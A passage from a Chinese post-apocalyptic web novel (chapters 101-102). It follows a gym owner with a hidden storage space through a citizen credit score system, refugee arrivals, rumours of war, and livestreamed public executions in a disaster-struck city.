宁市的医疗物资储存不足，这几天，那边身患传染病的病人一直被关着，却没有医生给他们用药，他们觉得自己被宁市官方放弃了，竟然发动了一场“暴乱”。 有些人就跟疯了似的，用扎过自己的针头、或是染上了自己血液的小刀，疯狂攻击为他们治病的医护人员，好几个医生都因此发生了医疗暴露，还有个怀孕七个月还一直坚守在岗位上的护士，被人活活捅死了…… 为了防止同样的事再发生，暴乱平息后，那边现在有武警和巡逻队二十四小时巡逻。 甚至还有官方的人拿着大喇叭通知隔离点的病人，之后要是再发生这样的事，他们会直接开枪。 至于之前带头伤人的病人，带头的那几个已经被枪毙了，剩下的，等病治好了，也会被拉到工地上劳改。 现在是她们的下班时间，秦小薇很快就收到了室友们的回复。 【段霞：今天还行，没出什么乱子，之前枪毙人的时候，是在隔离点的广场上执行的，那些人看了现场之后，一个个怂得不行，现在看到我们，连话都不敢和我们说。】 【范槿：其实现在江安区还挺安全的，但是我爸妈和家里的亲戚知道我来了这边，都担心得不行，天天给我打电话，让我找人换岗……和他们解释也不听，真的好烦哦！】 【范槿：累瘫.jpg】 【肖琳琳：今天的晚饭有西红柿肉汤，太幸福了！】 见室友们的情况都还不错，秦小薇和她们聊了几句，才放下手机。 吃完晚饭后，她的手机上收到了一条推送，是宁市官方发的通告。 大概意思就是宁市已经从风城弄来了一批医疗物资，隔离点的病人都能治愈，希望宁市的市民不要产生恐慌情绪，也不要过于排斥江安区的外来者…… 秦小薇觉得这通告发出来估计作用不大，之前同城APP上就有人发帖科普过，有些传染病，经过治疗后就算症状消失，病人的生命和生活不会受到影响，但他们会一直携带病毒，随时都可能通过各种途径传染给其他人…… 在普通人看来，江安区依旧是“细菌病毒培养皿”一般的存在，普通人依旧会对那些外来者避之不及。【你现在阅读的是 】 100-110 第101章 第101章公民信用分（双更合一…… 好几天没和朔月睡一间屋子了,晚上睡觉的时候，德牧变得格外黏人，咬着它的苹果抱枕,睁着一双湿漉漉的眼睛看着秦小薇,哼哼唧唧地要和她一起睡。 仔细想想,它也才一岁半而已，换成人类,这个年纪,还是个宝宝…… 于是，秦小薇给它梳了毛、擦了脚,就放它上床了。 小狗的体温比人高，身上热烘烘的，晚上抱着睡觉,还是挺舒服的。 第二天早上,秦小薇照常带着狗去健身房上班，可能是因为好几天没出现了，德牧受到了不少顾客的热烈欢迎,一上午，它的狗头和狗爪子被摸了不知道多少次,俨然有成为健身房团宠的架势…… 十点多的时候,秦小薇接到了陆昼的电话，说他在楼下，过来取车。 秦小薇便把车钥匙给他送下去了,下楼后，她一眼就看到陆昼脸上多了几道清晰的抓痕，想到他们昨天分开前他的行程，秦小薇对这伤的来源有了些猜测：“你这是……被死者家属给挠了？” 陆昼点头：“他妈妈情绪有点激动。” 把钥匙递过去的时候,秦小薇发现，他虎口处还有一圈带血的牙印。 看来家属的情绪不只是有点激动，对方是恨不得把他给吃了啊！ 想到那人的死因，秦小薇觉得，他这也算是受了无妄之灾！ 她也没安慰他，把钥匙还回去，就上楼了。 从风城回来后，日子过得十分平静，时间恍若流水，飞快流逝，一转眼，一个多月就过去了。 三个室友都在江安区，秦小薇对那边的情况还算关注，因为秦小薇他们带回来的那批药，那边已经有病人陆续出院了。 当然，也有一部分人因为救治不及时，给身体造成了不可逆的伤害…… 不过，国内许多省份都天灾不断，现在这种情况，能保住一条命、平安活着，就很不错了！ 市政能出人出医疗物资免费为他们治疗，放在国内，已经算是罕见了，普通人也不能要求太多！ 但江安区和市区之间的马路依旧有交警守着，倒不是不允许那边的人来市区，只是身份审核十分严格，公民信用分达标了，才能随意出入宁市各地，否则就只能被限制在江安区待着。 公民信用分系统，是Q省这个月新推出来的，具体的作用官方还没公布，现在看来，这玩意对大家的日常生活似乎也没什么影响，所以除了江安区那边的普通人，宁市其他人也没太在意这个系统。 秦小薇倒是知道，地下城建好之后，信用分高的，可以优先选更好的房子，这个信用分，对普通人来说，还是很重要的！ 她的公民信用分是66分，60分是基础分，如果有违法犯罪或者是失信行为，就会在这个基础上扣分，甚至可能会被扣成负分；但如果参与了市政组织的某些活动，比如说是当志愿者、配合市政的工作接纳难民，就可以加信用分。 最低分和最高分都是无下限的。 秦小薇多的那六分，就是之前地震过后，去当志愿者以及这几个月按时缴税加的…… 她这个分数不高不低，周围熟悉的人差不多都是这个分数……除了段霞，因为工作比较拼，又是巡逻队的成员，拿到了81分的“高分”。 而江安区那边的普通人，必须得拿到60分的及格分，才能随意出入市区，因为能拿到60分，就证明对方没有任何违法犯罪的记录。 按照以往的天气变化，宁市现在应该已经开春、可以换薄外套了，但去年的冬天持续得格外久，现在白天的最高温，依旧只有6、7℃。 安全屋的保暖性不太好，很多人都在网上抱怨，觉得这个春天有点难熬，盼着夏天赶紧到…… 不过Q省的温度虽然有些低，却不影响市政组织大家恢复生产，隔个一两周，市面上能买到的物资种类就会增加一批，除了蔬菜肉类，移动物资车上甚至出现了限量售卖的水果。 比如说小番茄、草莓和甜瓜，虽然都是大棚里出来的，味道没有应季的水果那么好吃，却也受到了很多普通人的追捧。 毕竟之前物资匮乏的时候，市面上连水果罐头都有价无市，大家已经很久没尝到新鲜水果的味道了。 这天中午，秦小薇接到了装修公司的电话，说她的房子装修好了，可以去验收了。 她挂断电话后，给陆昼打了个电话，就牵着德牧一起出门了。 红浦区依旧到处都是工地，地面上的建筑几乎全被拆了，很容易迷路，没有陆昼带着，秦小薇跟着导航走了许久，又给装修公司的人打了电话，才找到地方。 她和陆昼上次是从应急通道下来的，这次，她是直接坐电梯下来的。 将近一分钟的电梯过后，面前的一切才豁然开朗，可能是因为钱到位了，这片区域施工速度比公租房那边快很多，不少房屋、店铺都装修好了，有的房子甚至已经有人入住了。 电梯外面是一家正在装修的商场，距离别墅区略微有点距离，秦小薇牵着狗，走了十多分钟，才到目的地。 陆昼找的装修公司非常靠谱，最后的效果和设计图完全一样，屋里被打扫得干干净净，秦小薇连开荒保洁都不用另外找人做。 别墅一共有五层，负二层是一个巨大的泳池，除了游泳，还可以用来储水；负一层则是各种储藏室，足够储存够她和朔月吃好几年的食物；一楼是客厅和厨房；二楼是主卧和客卧；三楼是健身房和书房。 秦小薇之前虽然参与过健身房的装修，但来别墅收房还是第一次，她担心里面有坑，来之前，还特地给陆昼打了个电话，让他找个专业的人过来帮自己。 陆昼也很靠谱，秦小薇到了以后，他找来的人就拿出工具，当着她的面仔仔细细把别墅检查了一遍，在有问题的地方贴上便签，让装修公司的人整改。 可能是因为陆昼给的钱足够多，装修公司的人态度很好，虽然秦小薇让他等了很久还没收房签字，他也没表现出半点不耐烦：“秦小薇，陆先生的房子也装修好了，我们之前给陆先生打了电话，他说委托给您了，您现在有时间吗？要不去那边看看？” 秦小薇：？？？ 什么时候的事？ 她给陆昼打了个电话，陆昼那边似乎在忙，背景音非常嘈杂，简单说了几句，他就挂断电话了。 陆昼：“我这边暂时走不开，你让周师傅帮忙验一下，要是没问题，你直接签字就行了……放心，出了问题不会找你麻烦的！” 挂断电话后，秦小薇看向负责验房的师傅：“周师傅，您现在 能过去一趟吗？就前面那栋！” 周师傅笑得和蔼：“有空有空！” 于是，一行人又去了陆昼家的别墅，他家的装修很简单，但家里大部分房子，都被改成了储藏间，除了冷藏室和冷冻室，他甚至还弄了几台商用大型真空设备放在屋里，专门用于保存食物！ 据装修公司的人介绍，面条放在真空设备里，可以保存十年以上！ 秦小薇：“……”用几十万的设备保存几块钱一包的面条，这也太奢侈了！ 在屋里转了一圈，秦小薇有点怀疑陆昼是不是有食物不足恐惧症，要不然，他也不会在家里弄这么多房间储存食物！ 验完了房之后，秦小薇带着狗回了自己那栋别墅。 秦小薇：“朔月，以后这里也是咱们家，我在我的卧室里，腾个地方放你的狗窝和玩具好不好？” “汪——”朔月冲着她咧开嘴笑。 虽然装修公司的人说他们用的都是环保材料，没有甲醛，现在就可以入住，秦小薇还是打算等寒潮来了，再搬过来——这边离公寓楼太远了，上下班不方便。 一人一狗在屋里转了很久，秦小薇才牵着德牧离开，她去商场附近转了转，和附近干活的工人聊了下。 但只聊了几句，她就打消了在这边开健身房的念头——就像江安区和市区之间有交警拦路一样，别墅区和地下城其他区域的公租房也是有壁的，之后这边出入是要刷卡的，普通人根本进不来。 而且这里的租金太高了，这片区域的住户也不是她的目标客户。 她又去其他区域转了转，一直转到天黑才离开，不过这半天的时间，她也不是一无所获，她看中了好几处地方，都适合开健身房，她打算找陆昼走个后门，看看能不能把房子租下来开健身房…… 可能是下午走了太多路，一到家，德牧就趴在地板上不愿意动弹，一副“累瘫了”的模样。 秦小薇伸手捏了下它的狗脸：“你可是警犬预备役，怎么耐力这么差？” 她之前还以为，所有的警犬都和香肠一样，每天都有耗不完的精力……直到领养了朔月才知道，警犬里面也有上了两个小时班，就续航不足，开始“躺平”的。 德牧“汪呜”一声，把脑袋搭在她的手心，冲着她撒娇。 晚上，秦小薇接到了陆昼的电话。 陆昼：“现在有空吗？能过来一趟吗？” 秦小薇看了下时间，九点五十，快到她睡觉的时间了。 秦小薇有些不情愿：“明天过来行吗？” 陆昼：“事情有点急，要不我来找你吧？” 听到不用自己出门，秦小薇爽快答应：“行啊！你过来吧！” 半个小时后，陆昼敲响了她家的大门，他推着一个超大号行李箱，一关门，就让秦小薇带他进空间里。 秦小薇打了个哈欠，把他带进空间：“出什么事了？这么急？” 陆昼：“我一个已经退伍的堂哥被重新征召回部队了，我担心部队物资供应不足，给他带点东西……” 秦小薇：“为什么征召老兵？哪里又出乱子了吗？还是巡逻队的人手不够用了？” 陆昼的表情很严肃：“可能要打仗了。” 秦小薇瞬间睡意全无：“没听说啊！” 陆昼解释道：“现在国内这种情况，要是打仗的消息传出来，大家不是更加人心惶惶？更加不利于社会的稳定，况且，这种事普通人知道了也没什么用……” 秦小薇皱眉：“现在外面到处都是天灾，我看网上说，有的国家都快灭国了，他们还有心情打仗？” 陆昼：“就是因为到处都是天灾，某些国家才要靠战争争夺资源续命……” 秦小薇把装物资的大卡车全都从仓库里取了出来，放在空间里的空地上，陆昼对车里的物资分布不熟悉，只能由秦小薇爬到车上，找出他需要的物资。 等陆昼把他带来的行李箱都装满了，秦小薇才问他：“咱们国家从你重生的时候就开始做准备，这场仗应该能赢吧？” 陆昼的声音依旧十分凝重：“应该吧……我上辈子的时候没赢，国内还被投了核弹……” 秦小薇：“……你也知道，打仗打输了是上辈子的事，你看，现在的宁市和你记忆中一样吗？有点信心！咱们肯定能赢的！” 之前地震的时候，军队在几天之内，就组织起宁市的普通人，建好了可以容纳数百万人的安全屋；前段时间坐飞机去风城，天气那么恶劣，军队出身的飞行员依旧把他们平安带回来了……见识过军队的素质之后，说实话，秦小薇对他们还是挺有信心的！ 况且，因为官方的组织，大部分普通人都能在连绵不断的天灾中存活下来，更别说身体素质更好的军人了，他们肯定能保存下来更多的有生力量！ 但国外就不一定了，国外有些国家都快灭国了，他们就算保存下来了足够多的武器，人手也不一定够用…… 看着她亮晶晶的眼睛，陆昼忽然笑了起来：“嗯，你说得对，我已经改变了这么多，这次肯定能赢的！” 装完了物资，陆昼就急匆匆地离开了。 但凌晨一点多的时候，她家的大门又被人敲响了，又是陆昼。 这回，他手上提着三个大号的空行李箱。 半夜被吵醒，秦小薇的心情非常不爽，她的语气也有点差：“陆昼，你最好是有事！” 陆昼：“咳咳……我堂哥让我帮他战友也准备一些物资，说是边境线那边的条件有点艰苦。” 秦小薇忍不住吐槽：“你堂哥这是要当代购呢？” 虽然嘴上吐槽，但她还是把人带进了空间里，并且任劳任怨地帮他装了三大箱物资，见他一个人拿不下那么多行李箱，还送他下楼了。 之后几天，秦小薇依旧没在网上搜到和战争相关的信息，关于征召老兵的事，也根本没人提。 秦小薇问了陆昼几次，但边境离Q省太远了，以他在宁市的人脉，也打听不到太多保密消息，他也只能等消息。 不过，按照他的说法，要是真的出事了，官方肯定会发公告通知普通民众，现在没有消息，就是最好的消息…… 这天上午，秦小薇感觉到手机震动了几下，一打开手机，就看到寝室群跳出一条坏消息。 【范槿：好不容易调回市区，还没清闲几天呢！上面就开会通知我们，说又有难民要被安排来宁市了……】 【秦小薇：宁市的住房已经够拥挤了，再来还让他们住帐篷吗？】 【肖琳琳：说是地下城已经建好一部分了，先让一部分市民搬去地下城，用空出来的安全屋安置这批难民！】 【秦小薇：啊？那他们不是要和宁市的普通市民混在一起了？】 【范槿：是的！】 【范槿：一想到江安区那批难民之前惹出来的事，我就头皮发麻！】 【肖琳琳：头皮发麻+1】 【肖琳琳：我已经预感到自己未来一个月会有多忙了！】 【秦小薇：上面为什么不拒绝？别的城市不愿意接纳难民不是可以拒绝的吗？】 【范槿：我听说这次拒绝不了，上面给Q省、M省、Z省每座城市都下了任务，接收的难民，只能多不能少……主要还是咱们这儿这几个月太和平了，地下城也建得贼快，能腾出地方安置他们！】 …… 【肖琳琳：咦，阿霞呢！怎么开完会人就不见了？】 【范槿：她刚刚好像说要去接个电话……】 【段霞：我在一楼卫生间这里，刚刚接到我爸妈的电话了，他们也在转移名单里，因为我在这，他们直接申请了来宁市，申请已经通过了，后天早上就能到。】 刚刚还在抱怨难民给宁市带来麻烦的三人瞬间在群里噤声。 过了好一会，秦小薇才在群里发言。 【秦小薇：阿霞，你没事吧？】 现在宁市的工作这么难找，秦小薇很担心，她的父母和弟弟过来之后，没了收入来源，会让她养，把她的生活搞得一团糟。 【段霞：我能有什么事？】 【段霞：琳琳、饭饭，我刚刚下楼接电话的时候听到领导聊天，大队长的位置有空缺……我打算搏一搏，你们两个最近表现好一点，争取等我升上去的时候，就接替我小队长的位置！】 【范槿：真的吗？】 【范槿：阿霞，冲鸭！以后你就是我的大腿了！】 【肖琳琳：我不行吧，感觉队里其他人都比我优秀……】 【秦小薇：琳琳，怎么竞争还没开始，你就打退堂鼓了？】 【秦小薇：行不行的，先努力了再说！】 【肖琳琳：我尽力吧……】 【肖琳琳：捂脸.jpg】 这次迁移到宁市的难民，数量比上次少很多，市政没有在民间招募志愿者帮忙，但这次难民的迁移，给宁市带来的震动却比上次大很多！ 因为江安区的事，普通市民对这些人的第一印象就不是很好，某些人去交易东西的时候，甚至还会受到本地人的歧视…… 还有人在网上呼吁，让市政把他们安排去江安区“隔离”起来，免得“污染”市区的治安。 这些人刚来，不知道宁市现在的治安有多严，以为经历过台风、地震、冰雹的宁市，和他们当地一样混乱……他们也没有辜负大家的怀疑，刚来就犯下了不少案子。 大晚上欺负小姑娘什么的，对他们来说都不算是事，甚至还有人持枪去抢银行、抢移动物资车……当然，这些人最后都被巡逻队和警察抓住了！ 事后，警察查出来，那几个持枪劫匪手上拿的枪，隶属于他们系统里已经牺牲的几位同袍。 也就是说，这几个劫匪，之前曾经杀了警察，抢了他们的枪，还一直逍遥法外…… 短短几天，工地上劳改犯的队伍都扩大了不少，连带着来健身房买课的客人都增加了许多，让秦小薇赚了个盆满钵满…… 这天上午，秦小薇正带着德牧在店里摸鱼看店，一个教练却忽然惊叫起来：“真的要直播吗？什么时候？” 她的声音太大，惹得众人纷纷转头看她。 “什么直播？”有人开口问道。 教练：“就之前那几起抢银行和抢移动物资车的案子，法院宣判了，直接判了死刑……官方也发了公告，说是执行死刑的时候会进行现场直播……” 听到她的话，健身房的员工和客人纷纷开始议论这件事。 “那也是他们活该！听说他们的枪都是杀了警察，从警察那抢来的！” “这样的毒瘤，死了才好！” “要是放他们去劳改，我都担心他们出来以后会继续杀警察！” “……” 几乎所有人，都在一边倒地支持法院的宣判，秦小薇也觉得就该这么判。 反正工地上干活的劳改犯挺多的，也不差那么几个，这种人还是杀了干净！ 她拿出手机，看了下宁市官方发的通告，同城APP上也有很多网友在讨论这件事。 除了少部分人发表意见，说“官方带头歧视外地人，本地人犯了事就送去劳改，外地人就直接枪毙”，其余都是一水的支持。 不过，反对的意见一发出来，立马就会被其他人“攻陷”。 第102章 第102章杀鸡儆猴（双更合一）…… 毕竟宁市最乱的时候,大部分人对警察也还是有敬畏之心的，袭警、杀警的案子根本就没听说过…… 况且他们连警察都敢杀，之前手上还不知道沾了多少人命呢！这种情况,就应该重判！ 她上网吃了会瓜,记下了直播执刑的时间,又在手机日历里添加了一个提醒，才退出APP。 晚上,吃完晚饭之后,秦小薇就窝在沙发上玩手机，过了没一会,健身房一位教练忽然给她推送了一个链接。 【何玥：店长，好消息！我们的竞争对手自己出事了！】 【何玥：[链接]】 秦小薇：？？？ 她点开链接看了看，发现白云女子健身馆二楼的地板直接塌了,因为当时正是营业时间,店里还有员工和顾客，不仅二楼的人摔伤了，一楼也有人被砸伤了。 附近有人拍了照片,在同城APP上发帖吐槽这件事。 秦小薇：！！！ 不是，那些钢板这么不结实吗？扛不住台风也就算了,怎么现在正常使用也会塌？ 她翻了下评论区,有人说是因为建的时候，工人偷懒，螺丝没固定好；还有“专业人士”跳出来说健身房二楼放了太多设备,二楼一直有人蹦蹦跳跳把层板的卡扣震松了；还有人说这种拼接房根本就不适合开健身房；甚至还有自来水在评论区推她的健身房…… 除此之外，白云女子健身馆和隔壁同一个老板的男子健身房都有人因为这件事闹着要退费。 秦小薇：虽然那几个受伤的人有些惨，不过……这对她的健身房来说，也算是好事吧！ 晚些时候,三个室友也在群里说了这件事。 【范槿：薇薇，那家白云女子健身馆被要求关门整改了，现在宁市，又是咱们健身房一家独大了！】 【秦小薇：什么一家独大？说得我们健身房好像是什么恶势力一样！】 【秦小薇：猫猫生气.jpg】 【秦小薇：你们怎么知道这事？又换执勤点了？】 【肖琳琳：不是，出事的时候健身房里困了好多人，我们被调过去救援了！】 【秦小薇：你们知不知道健身房为什么会塌？】 【段霞：钢板的承重不行，拼装房和水泥房的坚固度还是差太多了，正常居住没问题，用来开健身房还是不太合适。】 没几天，秦小薇就发现，自己之前设置的提醒有些多余，因为执刑当天，市政直接在楼下商场那块几十米长的大屏幕上来了个现场直播。 那块大屏幕之前播放的广告都是无声的，但这次，社区的工作人员给它连了一个声音超级大的音响。 反正只要不是耳朵有问题，或是家里的隔音特别好，方圆几百米的人都能看清、听清。 秦小薇只要拉开健身房的窗帘，就能清晰地看到楼下大屏幕上的画面。 执刑的时间刚好是中午十二点，健身房的众人都准备吃中饭了，听到下面的动静，众人纷纷端着饭碗，走到窗户边上，看起了热闹。 直播画面中，六个满脸仓惶地男人被固定在审讯椅上，列成一排，穿着制服的执刑人员先是按照从左到右的顺序，把死刑犯的身份、所犯罪行一一介绍了一遍，务必让屏幕前的所有人都知道，他们被判死刑是罪有应得，才宣布开始执行死刑。 可能是担心画面太过血腥，吓到屏幕外的人，执刑开始之前，工作人员掐掉了声音，还非常贴心地给审讯椅上坐着的人戴上了黑色的头套。 屏幕里，审讯椅上的人疯狂挣扎着，脑袋晃动得非常厉害， 似乎正在辩解、求饶，但执刑的警察却没有半点心软，直接送了他们几粒“花生米”。 片刻之后，几个死刑犯的脑袋耷拉了下来，鲜红的血液从黑色头套的边缘“滴答滴答”落了下来…… 秦小薇的视线从屏幕上转开，看了眼楼下正仰头看着大屏幕的普通市民。 有人义愤填膺，正在拍手叫好；有人不愿意看这血腥的一幕，直接别开了脸；还有人心虚气短，悄悄离开了队伍…… 可能是因为隔着屏幕，纵然屏幕里的死刑犯流了很多血，但健身房的众人却没有多少害怕的情绪，依旧端着饭碗往嘴里扒饭，似乎只把这场直播当成了下饭的电子榨菜。 秦小薇身边一个教练开口道：“来这么一招杀鸡儆猴，那些外地人应该能安分一点了吧？” 秦小薇：“肯定的！有些人死猪不怕开水烫，不怕坐牢、劳改，但肯定怕死……” 这场直播并不是结束，之后一段时间，只要出现了特别恶劣的案子，官方就会直播执刑，给宁市那些心思浮动的人紧紧皮，务必给所有人都留下“宁市一直在严打”的印象。 种种雷霆手段之下，宁市的治安倒是一下子恢复了，有些人就算手上没钱吃饭，也不敢干小偷小摸的事，而是直接去工地上干活混饭…… 这天早上，秦小薇从外面给员工们“采购”员工福利回来的时候，刚好接到了段霞的电话。 秦小薇冲着正在搬东西的员工们打了个手势，就去另一边接电话了：“阿霞，你怎么忽然给我打电话？” 段霞：“薇薇，你能帮忙弄点猪骨头吗？我爸摔了一跤，腿摔骨折了，我给他弄点骨头汤补补！” 秦小薇没怎么犹豫，当即就答应了：“可以啊！只要猪骨头吗？最近鸡比较好弄，鸡要不要？” 段霞：“要！你尽量帮我多弄点，我宿舍有冰箱，不会坏！” 秦小薇：“行，我中午给你送过去！” 段霞：“好，多少钱我转给你？” 秦小薇：“见面再说，东西我都还没弄到手呢！” 段霞：“好。” 中午吃完晚饭后，秦小薇就牵着狗出门了，段霞父母住的安全屋距离公寓楼并不远，开车十几分钟就到了。 宁市的安全屋都一个样，普通人不熟悉安全屋的排布，很难找到房子的编号，担心她找不到地方，她到的时候，段霞就已经在路口等她了。 “薇薇，这边！”段霞穿着黑色的作训服大步跑了过来。 她剪了短发，脸上带着一股雌雄莫辨的英气，可能是因为这段时间的历练，她看起来比刚毕业的时候更加沉稳了。 看到他们后，她没管秦小薇手里提着的东西，反而从口袋里拿出一根手指长的鱼肉肠：“朔月，我给你带了好吃的，有没有想我啊？” 三个室友对秦小薇养的狗很好奇，还抽空来公寓楼看过它几次。 德牧蹲坐在地上，任由她揉自己的狗头。 秦小薇替它接过鱼肉肠，放进它背心的口袋里：“先放着，待会再喂它……” 见鱼肉肠进了自己的口袋，德牧摇尾巴的频率才略微变快了一些。 撸了会狗，两人才继续往前走。 秦小薇：“我给弄了两只鸡，都是活的，叔叔阿姨可以先养着，吃的时候再杀，到时候吃新鲜的……排骨没弄到新鲜的，只有冷冻的，有两根肋排和一根筒子骨……叔叔怎么受伤的？” 段霞叹了口气：“我爸在这边没有工作，家里的存款又花完了，就想着去给人家搬货赚钱……干了一个星期，就直接把自己摔骨折了，唉，赚的钱还不够医药费呢！” 秦小薇：“看来叔叔不适合这种卖力气的工作……医生怎么说？没什么大问题吧？” 段霞：“打了石膏，说是好好养着就没事……医生说吃钙片和维生素D、维生素C有用，我也托队里的人帮忙买了……” 两人又聊了几句段爸爸的伤，话题很快转到了段霞和家里人的关系上。 秦小薇：“你和你爸妈最近相处得怎么样？他们没再让你换工作吧？” 段霞摇头：“没有，我现在这工作比小学体育老师好多了，再干下去，还能转正，也算是有编制了，他们满意得不得了……况且，现在家里就我一个人拿工资，我要是真的辞职了，他们就得去工地上卖力气了！” 段霞忽然停顿了一下，过了好一会，才开口道：“就是他们的态度和之前差别有点大，我有点不太习惯……” 秦小薇：“他们冲你发脾气了？” 段霞摇头：“那倒没有，我爸妈现在和我说话的时候态度特别好！有时候还有点在讨好我的感觉，你知道的，我们以前打电话，偶尔还会吵架，现在就完全不一样，我爸妈在我面前说话都小心翼翼的，还有点卑微，让我觉得有点辛酸……” 秦小薇略微一想，就明白了段爸爸、段妈妈这种转变的原因。 以前段霞是个学生，没什么经济实力，有时候，生活费都得找家里支援，在两人看来，他们属于主导地位，段霞就应该听他们的。 但现在，他们的家没了，多年的积蓄也没了，现在家里的一切全都靠段霞，他们的家庭地位自然也就反过来了。 有时候，亲情关系也是非常现实的…… 靠近段爸爸他们住的安全屋之后，两人很快就换了个话题。 安全屋的窗户很小，就算是白天，屋里也得亮着灯才能看得清，他们这间安全屋没有住满，但也挤了五个人，地上堆满了各种杂物，显得十分拥挤，秦小薇站在门口，一时不知道该往哪里下脚。 段妈妈不在，拄着拐杖的段爸爸接过段霞手里的东西，满脸笑容地过来招待秦小薇：“哎哟，你就是小霞的室友吧？长得真精神！吃饭了没？你阿姨煮了土豆米，中午留下来吃饭吧！” 过年之后，土豆大米和能量饼干一样，成为宁市普通人的主食之一。 刚开始的时候，还有很多人买，但土豆大米需要二次加热，不加调味料，味道就十分寡淡，甚至称得上难以下咽，吃了一段时间后，大部分人还是选择购买已经“吃习惯”的能量饼干。 秦小薇看了眼屋里正在“咕嘟咕嘟”冒气的锅，摇了摇头：“不用了，叔叔，我吃过了才来的！” “那也吃点！我让小霞和小柳把鸡杀了，给你做鸡汤泡饭……”段爸爸继续热情邀请。 秦小薇再三推辞，段爸爸才放弃。 不过她还是在安全屋里留了一会，帮着段霞把鸡杀了炖上。 段霞的弟弟段柳也在边上帮忙，他很瘦，今年还在读高中，因为天灾的原因，网课已经停了好几个月了，整天就在家里无所事事。 来了宁市之后，段霞帮他办了手续，他才能继续上网课，他看上去有些内向，一直低着头干活不说话，甚至都不好意思看秦小薇…… 这种集体房子住着非常不方便，他们杀鸡的时候，屋里另外两人就在边上挑刺，一会说鸡太臭了，会影响他们休息；一会又说鸡血血腥味太大，会引苍蝇，暗示他们给点东西补偿他们…… 在巡逻队工作了几个月，段霞已经习惯了这种情况，她怼了几句，那两人就直接闭嘴了。 段霞：“这鸡放这我还担心被贼惦记呢！等吃完饭我就带走，肯定不让它在这里过夜！” 她把拔好毛的鸡放在砧板上，哐哐哐剁鸡块：“什么苍蝇？现在又不是夏天，哪来的苍蝇？你们别找事！” 鸡肉放进高压锅里之后，段爸爸忽然压低声音问段霞：“小霞，你在巡逻队，门路多，知不知道怎么提高那什么公民信用分？咱们一家想办法把分提一提，和你一样搬到地下城去！” 因为安全屋不够住，他们这批难民迁过来之前，为了空出更多的房子安置他们，市政安排了一部分市民搬去了红浦区的地下城。 就像陆昼之前说的那样，公民信用分高的可以优先选房子，段霞因为信用分比较 高，自然也在其中。 虽然地下城的房子和巡逻队安排的安全屋一样，都是四人间，那边还离得很远，搬过去之后，上下班的通勤时间会大大增加，但是那边有公共浴室，供电供水也都恢复了。 地底的房子，也不用担心台风、冰雹什么的……她最后还是提交申请搬了过去。 范槿和段霞她们也是一样，选择搬去了地下城，可能是因为三人是前后脚提交申请的，最后，她们还被分到了同一间，继续当室友。 屋里的空间不大，就算段爸爸刻意压低了声音，其余两人也还是听到了，听到段爸爸的话，他们纷纷竖起耳朵。 显然，他们也想搬去条件更好、更安全的地下城。 段霞摇了摇头：“我一直关注着呢！最近没听到什么消息！” 屋里其余几人顿时露出失望的表情。 秦小薇没在屋里待太久，鸡肉炖上之后，她就离开了。 离开的时候，没有段霞这个巡逻队的成员带着，她明显能感觉到，很多不怀好意的视线落在她……身旁的德牧身上。 贪婪、渴望…… 之前缺肉的时候，城市里，连流浪动物的身影都很难看到，除此之外，还有小偷专门偷还活着的宠物狗！ 之前网上还有人说，宠物狗、宠物猫的肉不能吃，但真要是馋肉馋疯了，这些人可能连下水道里的老鼠都不会放过…… 秦小薇牵着狗绳的手紧了一下，她抽出随身携带的警棍，周围放肆的视线才略微收敛了一些。 上车之后，秦小薇接到了陆昼的电话，她没有回家，最后开着车朝着宁市的预警中心开去。 预警中心在之前的大地震中保存下来了，因为有安全屋的简易拼装房做对比，这里的房子竟然看起来有几分“奢华气派”。 门口有穿着军装的军人执勤，香肠今天没去警察局，它蹲坐在门口，和军人一起执勤。 看到秦小薇之后，它一下子站了起来，尾巴把身边执勤军人的军靴甩得啪啪响。 秦小薇看到那人的嘴角明显抽了下。 这边出入十分严格，就算陆昼是部长，报他的名字依旧不管用，秦小薇给他打了电话，让他安排人出来接自己，又登记了身份信息，才顺利进去。 办公大楼里，每个人都行色匆匆，看上去很忙。 陆昼正在开会，秦小薇被工作人员带到他的办公室，连着喝了两杯白开水，才等到他。 他办公室的布置和一般领导的办公室很不一样，并没有什么昂贵的实木家具，装修也十分简约，除了一张办公桌和两把椅子，就是两个装满了文件的上锁的柜子。 秦小薇：“大忙人终于忙完了？” “抱歉，临时有个会……”陆昼带上门，大步走到铁皮柜子前，打开门锁，从里面取出一个牛皮纸袋递给她，“事情已经办好了，你到时候直接在后台提交申请就可以了，系统会直接通过申请……” 秦小薇打开文件看了看，表情十分满意。 她计划着等地下城完全建好、人都搬过去之后，在那边开家分店，不过地下城店铺数量有限，都要申请，还要市政的工作人员审核。 她觉得自己申请估计会很难通过，便直接找了陆昼走后门，等了一段时间，今天事情终于办好了。 和公寓楼可以随意买卖的房子不一样，地下城的公租房，是属于市政的，普通人只能租不能买。 店铺的租金比普通的住房高很多，但健身房的生意一直不错，秦小薇完全可以负担。 秦小薇把文件重新塞进牛皮纸袋里，她晃了晃牛皮纸袋：“谢了！” 陆昼给自己接了杯温水：“举手之劳。” 秦小薇：“你堂哥他……还是没消息吗？” 陆昼“嗯”了一声：“还在等消息。” 秦小薇：“你最近好像很忙……我刚刚上来的时候，看到下面的工作人员走路都带风，宁市又要出什么事了吗？” 陆昼叹了口气：“宁市没出事，是其他省，他们最近情况不怎么好，又缺物资，一直打电话让我们支援……最近各个部门都在商量这件事。” 秦小薇：“咱们Q省的物资也不是很充足吧？” 陆昼点点头：“物资供应确实还没完全恢复，但比外面的情况好很多，咱们比他们好，上面就有理由要求我们调动物资过去支援！” 秦小薇：“……” 秦小薇皱眉：“上面今天塞一波难民，明天调走一批物资……继续这样下去，宁市的情况真的能恢复吗？” 陆昼又叹了口气：“至少让大家保命不成问题，生活质量就没法保证了……你先回去吧，我待会还有个会！还得继续跟他们掰扯这事……” 知道他要忙，秦小薇也就没留下来打扰他，牵着德牧就离开了。 路过大门口的时候，拉布拉多朝她的方向走了几步，一副想跟她回家的模样。 秦小薇笑了起来，她停下脚步，往它的背包里塞了几块鸡肉干：“香肠，好好工作，下次再来看你！” 拉布拉多蹭了下她的手，并没有从工作岗位上离开。 一转眼，又是三个多月过去，按照以往的天气变化，现在应该已经入夏了。 前几年这个时候，家家户户都已经吃上西瓜了，但和去年一样，今年的天气依旧格外诡异，温度一直很低，始终没有升温的意思。 但可能是因为去年一年的极端天气实在是太频繁了，大家都习惯了。 再加上这几个月的低温也没造成什么人员死亡，大家也就在网上抱怨一下，就继续自己的生活了。 也有人猜测，会不会像之前的极端高温一样，热了几个月，然后温度一下子升到五六十度，直接把人热中暑；这次是冷几个月，然后迅速降温，开启极寒模式…… 但是现在的温度已经持续半年多了，始终没有上升或者下降的意思，这种说法，也就渐渐没人相信了…… 